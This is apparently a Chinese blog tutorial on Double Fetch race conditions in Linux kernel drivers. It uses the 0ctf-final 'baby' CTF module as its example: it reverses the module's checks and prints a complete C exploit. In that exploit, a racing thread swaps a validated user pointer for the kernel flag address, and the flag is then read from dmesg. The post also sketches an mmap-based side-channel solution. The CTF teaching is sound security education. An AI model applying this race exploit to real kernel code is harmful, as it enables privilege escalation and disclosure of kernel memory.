Kernel Pwn基础教程之 Double Fetch
一、前言
Double Fetch是一种条件竞争类型的漏洞,其主要形成的原因是由于用户态与内核态之间的数据在进行交互时存在时间差,我们在先前的学习中有了解到内核在从用户态中获取数据时会使用函数copy_from_user,而如果要拷贝的数据过于复杂的话则内核会选择引用其指针而将数据暂存于用户态中等待后续处理,而在这时数据会存在被条件竞争修改原有数据的风险,也就是笔者要分享的Double Fetch的由来。
二、Double Fetch介绍
如下图所示,用户态首先准备好用户态数据(prepare data),然后执行syscall进入内核态后,会对用户态数据进行第一次fetch,这一次fetch主要是做一些检测工作(如缓冲区大小、指针是否可用等),在检查通过后会执行第二次fetch对数据进行实际操作。而在这期间是存在一定的时间差,如果我们在用户态数据通过第一次check以后创建一个恶意进程利用二次fetch之间的时间差修改掉原先用户态的数据,那么在内核执行第二次fetch时处理的就并非原先通过检测的数据,而是我们精心准备的恶意数据,而此类漏洞往往会引起访问越界,缓冲区溢出最终造成恶意提权的情况。

三、Double Fetch例题
1、题目分析
本次选择的例题是0ctf-final-baby,用IDA打开baby.ko进行逆向分析。驱动主要注册了baby_ioctl函数,当第二个参数为0x6666时会使用printk函数输出flag值在,可以通过dmesg命令查看printk函数的输出结果。

不难看出flag是硬编码在驱动文件中,可以看到flag的长度为33位。
.data:0000000000000480 flag dq offset aFlagThisWillBe
.data:0000000000000480 ; DATA XREF: sub_25+25↑r
.data:0000000000000480 ; sub_25+D6↑r ...
.data:0000000000000480 ; "flag{THIS_WILL_BE_YOUR_FLAG_1234}"
当第二个参数为0x1337时通过三次检测则会对传入的内容与flag进行比较,如果相同就通过printk函数输出flag值。其中在三次检测中使用到_chk_range_not_ok函数,前两个参数不难理解,但是第三个参数在这里比较难理解。
bool __fastcall _chk_range_not_ok(__int64 contect, __int64 len, unsigned __int64 unknow)
{
bool my_cf; // cf
unsigned __int64 sum; // rdi
my_cf = __CFADD__(len, contect);
sum = len + contect;
return my_cf || unknow < sum;
}
我们通过动态调试的方式定位在_chk_range_not_ok函数处,发现current_task+0x1358的结果就是0x7ffffffffffff000,也就是说这三次check的意思分别是:
1、判断结构体的指针是否在用户态
2、判断结构体中flag地址指针是否在用户态
3、判断结构体中flag长度是否与内核flag长度相同

通过这三个检测之后就会比对传入结构体中flag值与内核的flag值是否相同,全部正确就会通过printk输出内核中的flag值。
for ( i = 0; i < strlen(flag); ++i )
{
if ( contect->addr[i] != flag[i] )
return 0x16LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
return 0LL;
2、漏洞利用
通过分析题目其实没有十分明显的漏洞点,但是如果我们以条件竞争的思路来看待这道题就会发现隐藏的漏洞点。如果我们首先在用户态创建一个可以通过三次检测的结构体指针(User_Data),那么在这个数据在真正被处理之前是存在一定的时间差的,并且因为数据是保存在用户态中,所以当我们开启一个恶意进程不断修改用户态中flag地址为内核态的地址,那么在实际处理数据时取出的就是内核地址,最终判断的时候就是内核地址与内核地址的比较,最终输出flag值并用dmesg命令查看输出结果。
3、EXP
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
int finish = 1;
struct message {
char *addr;
int len;
}data;
size_t flag_address = 0;
void read_flag_address() {
system("dmesg | grep flag > message.txt");
int fd = open("message.txt", O_RDWR);
char buf[0x60] = {0};
read(fd, buf, sizeof(buf));
size_t idx = strstr(buf, "at ") + 3;
sscanf(idx, "%llx", &flag_address);
printf("[+] FIND FLAG ADDRESS: 0x%llx\n", flag_address);
close(fd);
}
void evil_thread() {
while (finish == 1) {
data.addr = flag_address;
}
}
void main() {
pthread_t pthread;
int fd = open("/dev/baby", O_RDWR);
char buf[0x100] = {0};
ioctl(fd, 0x6666);
read_flag_address();
pthread_create(&pthread, NULL, evil_thread, NULL);
data.addr = buf;
data.len = 33;
for (int i = 0; i < 0x1000; i++) {
ioctl(fd, 0x1337, &data);
data.addr = buf;
}
finish = 0;
pthread_join(pthread, NULL);
system("dmesg | grep flag");
close(fd);
}
使用如下命令编译elf文件,重新打包文件系统后执行start.sh,最终效果如下。
gcc -pthread -g -static -masm=intel -o exp exp.c

四、总结
Double Fetch 最为主要的就是培养以线程间条件竞争的角度来看待程序,从而发现一些比较隐蔽的漏洞。关于本次介绍的例题还有一种非预期的解法,可以通过在用户态使用mmap的方式开辟两块内存地址,第一块设置读写权限,第二块设置不可读写权限,我们将需要比较的字节放在第一块内存的最后一个字节中,当我们的判断正确时就会继续往下取值,这时就会从第二块即不可读写的内存中取值,就会造成kernel panic,这时我们就可以判断字符判断成功。感兴趣的师傅们可以自己尝试实现一下。
更多靶场实验练习、网安学习资料,请点击这里>>
Kernel Pwn基础教程之 Double Fetch的更多相关文章
- Kernel pwn 基础教程之 ret2usr 与 bypass_smep
一.前言 在我们的pwn学习过程中,能够很明显的感觉到开发人员们为了阻止某些利用手段而增加的保护机制,往往这些保护机制又会引发出新的bypass技巧,像是我们非常熟悉的Shellcode与NX,NX与 ...
- Kernel pwn 基础教程之 Heap Overflow
一.前言 在如今的CTF比赛大环境下,掌握glibc堆内存分配已经成为了大家的必修课程.然而在内核态中,堆内存的分配策略发生了变化.笔者会在介绍内核堆利用方式之前先简单的介绍一下自己了解的内核内存分配 ...
- OpenVAS漏洞扫描基础教程之OpenVAS概述及安装及配置OpenVAS服务
OpenVAS漏洞扫描基础教程之OpenVAS概述及安装及配置OpenVAS服务 1. OpenVAS基础知识 OpenVAS(Open Vulnerability Assessment Sys ...
- Python基础教程之List对象 转
Python基础教程之List对象 时间:2014-01-19 来源:服务器之家 投稿:root 1.PyListObject对象typedef struct { PyObjec ...
- Python基础教程之udp和tcp协议介绍
Python基础教程之udp和tcp协议介绍 UDP介绍 UDP --- 用户数据报协议,是一个无连接的简单的面向数据报的运输层协议.UDP不提供可靠性,它只是把应用程序传给IP层的数据报发送出去,但 ...
- Linux入门基础教程之Linux下软件安装
Linux入门基础教程之Linux下软件安装 一.在线安装: sudo apt-get install 即可安装 如果在安装完后无法用Tab键补全命令,可以执行: source ~/.zshrc AP ...
- RabbitMQ基础教程之Spring&JavaConfig使用篇
RabbitMQ基础教程之Spring使用篇 相关博文,推荐查看: RabbitMq基础教程之安装与测试 RabbitMq基础教程之基本概念 RabbitMQ基础教程之基本使用篇 RabbitMQ基础 ...
- 【Heritrix基础教程之1】在Eclipse中配置Heritrix
一.新建项目并将Heritrix源代码导入 1.下载heritrix-1.14.4-src.zip和heritrix-1.14.4.zip两个压缩包,并解压,以后分别简称SRC包和ZIP包: 2.在E ...
- 【Nutch2.2.1基础教程之6】Nutch2.2.1抓取流程
一.抓取流程概述 1.nutch抓取流程 当使用crawl命令进行抓取任务时,其基本流程步骤如下: (1)InjectorJob 开始第一个迭代 (2)GeneratorJob (3)FetcherJ ...
随机推荐
- Solution -「AGC 010C」「AT 2304」Cleaning
\(\mathcal{Description}\) Link. 给定一棵 \(n\) 个点的无根树,点有点权,每次选择两个不同的叶子,使它们间的简单路径的所有点权 \(-1\),问能否将所有点 ...
- Spring系列18:Resource接口及内置实现
本文内容 Resource接口的定义 Resource接口的内置实现 ResourceLoader接口 ResourceLoaderAware 接口 Resource接口的定义 Java 的标准 ja ...
- mysql视图,索引
一.视图 View 视图是一个虚拟表,是sql语句的查询结果,其内容由查询定义.同真实的表一样,视图包含一系列带有名称的列和行数据,在使用视图时动态生成.视图的数据变化会影响到基表,基表的数据变化也会 ...
- iceberg合并小文件冲突测试
基于iceberg的master分支的9b6b5e0d2(2022-2-9). 参数说明 1.PARTIAL_PROGRESS_ENABLED(partial-progress.enabled) 默认 ...
- tomcat编码错乱问题
问题场景:相同的代码,在同事电脑上可以正常运行,在我电脑上用项目跑代码的时候,密文没法解密,用main方法就可以,而且用同事代码打的war包在我本地也不行,初步排查,应该是本地环境的问题. 场景1:本 ...
- Python中模块的定义及案例
1 a = '我是模块中的变量a' 2 3 def hi(): 4 a = '我是函数里的变量a' 5 print('函数"hi"已经运行!') 6 7 class Go2: 8 ...
- 一文告诉你dashboard究竟有多重要!
dashboard,我们一看这个词可能会觉得困惑,这是什么意思?看起来很高大上的样子. 实际上它的中文含义即是我们BI界老生常谈的话题--仪表盘.dashboard是商业智能仪表盘的简称,它是一般商业 ...
- 可视化里程碑:可拖拽使用的可视化BI工具
在数据量越来越大的今天,如何利用好数据,更好的为人类社会服务,成为人们所关心的话题,而其中数据可视化作为最后一个环节,也是人们最为直观的感受,自然而然备受重视.同质化的应用越来越多,应用开发者也开始在 ...
- 为什么用Python,高级的Python是一种高级编程语言
Python特性 如果有人问我Python最大的特点是什么,我会毫不犹豫地告诉他:它简单易学,功能强大.作为一个纯自由软件,Python有许多优点: 很简单.基于"优雅".&quo ...
- idea常用快捷键及配置
目录 常用快捷键 常用配置 配置修改项 版本2019.1.3,配置.破解插件见网盘 2020.3.4 链接:https://pan.baidu.com/s/1WHsS8-yvHGf1iRopLbKIu ...